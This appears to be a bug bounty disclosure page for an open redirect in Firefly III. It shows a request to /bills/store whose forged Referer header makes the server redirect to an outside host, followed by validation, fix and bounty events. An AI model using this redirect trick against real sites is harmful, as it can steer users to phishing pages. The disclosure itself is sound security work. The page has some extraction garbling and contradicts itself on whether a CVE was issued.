✓ Valid Reported on Oct 1st 2021 Steps: Login in application and and navigate to bill section and create bill and capture the request. Web applications use different techniques to redirect users to the next page. Apps may use $\label{lem:url_problem} \mbox{URL query parameters, header values, with JavaScript code, or it may be backend code. In case}$ of this application, the value of the "Referer" header was used to redirect to next page. **Original Request:** POST /bills/store HTTP/1.1 Host: demo.firefly-iii.org Original Response: HTTP/1.1 302 Found location: https://demo.firefly-iii.org/bills/create Modified Request: POST /bills/store HTTP/1.1 Host: demo.firefly-iii.org Referer: http://abc.com/ Modified Response: HTTP/1.1 302 Found location: http://abc.com/ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"/> <meta http-equiv="refresh" content="0;url='http://abc.com/"" /> <title>Redirecting to http://abc.com/</title> </head> <body> Redirecting to http://abc.com/. </body> </html> References • https://blog.qualys.com/product-tech/2019/12/11/cve-2019-11016-open-redirect-vulnerabi lity CVE Vulnerability Type Affected Version Visibility Status Found by takester

Open Redirect in firefly-iii/firefly-iii



This report was seen 445 times

We have contacted a member of the firefly-iii team and are waiting to hear back a year ago
James Cole validated this vulnerability a year ago
takester has been awarded the disclosure bounty $\ ullet$
The fix bounty is now up for grabs
James Cole marked this as fixed with commit 8662df a year ago
James Cole has been awarded the fix bounty ✓
This vulnerability will not receive a CVE 🗶
Jamie Slome a year ago Admin
CVE published! 👭
takester ayearago Researcher
Thanks 🧌
Sign in to join this conversation

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